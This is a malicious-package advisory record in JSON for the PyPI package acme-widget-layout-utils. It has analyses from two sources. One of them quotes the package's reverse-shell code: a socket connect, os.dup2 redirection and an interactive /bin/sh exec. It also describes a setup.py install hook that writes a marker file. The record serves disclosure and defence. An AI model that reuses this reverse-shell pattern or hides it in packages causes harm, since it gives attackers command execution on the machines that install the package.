{"id":"MAL-2026-5545","title":"Malicious code in acme-widget-layout-utils (PyPI)","summary":"Malicious code in acme-widget-layout-utils (PyPI)","severity":"none","vendor":"acme-widget-layout-utils","product":"acme-widget-layout-utils","ecosystem":"pip","affected":["acme-widget-layout-utils"],"published":"2026-06-11","updated":"2026-07-08","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/MAL-2026-5545","references":[{"url":"https://pypi.org/project/acme-widget-layout-utils/0.0.3/"},{"url":"https://bad-packages.kam193.eu/pypi/package/acme-widget-layout-utils"},{"url":"https://pypi.org/project/acme-widget-layout-utils/0.0.2/"},{"url":"https://pypi.org/project/acme-widget-layout-utils/0.0.1/"}],"tags":["osv","pip"],"ingestedAt":"2026-07-08T18:25:54.771Z","slug":"MAL-2026-5545","body":"## Overview\n\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ff800752007d4e55ddc8172e04c8d75ac04d61b499cc58d97f016cd34d70d6c4)\nOn import, src/acme_widget_layout_utils/__init__.py executes a textbook reverse-shell pattern: it opens a TCP socket, duplicates the socket file descriptor onto stdin/stdout/stderr via os.dup2, and execs `/bin/sh -i` (lines 11-16: `_sock.connect((\"127.0.0.1\", 1)); os.dup2(_sock.fileno(), 0);...; subprocess.call([\"/bin/sh\", \"-i\"])`). The hardcoded destination 127.0.0.1:1 is intentionally unreachable in a default environment, but the code is a fully functional reverse shell — any environment that has a listener on that endpoint, that proxies loopback, or that is patched to redirect the connection receives an interactive shell with the importing process's privileges. The package additionally writes a marker file `/tmp/pypi_install_hook_marker.txt` from a custom setup.py install cmdclass during `pip install`, and the package is published under a generic `widget-layout-utils` name despite its pyproject description acknowledging it is a 'pipeline hook probe' with no advertised utility. The name/purpose mismatch increases the risk of accidental installation. Shipping live reverse-shell code on public PyPI under a benign name is unsafe regardless of the author's stated 'security probe' intent.\n\n## Source: kam193 (643a7c935e2bb063cea8baf36f13bca89572d1febbf0efdb05812ee09ddde4d8)\nDuring import, the package starts a reverse shell.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-06-acme-widget-layout-utils\n\n\nReasons (based on the campaign):\n\n\n - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.\n\n\n## Affected packages\n\n- `acme-widget-layout-utils`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":3,"depthScoreParts":{"impact":2.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}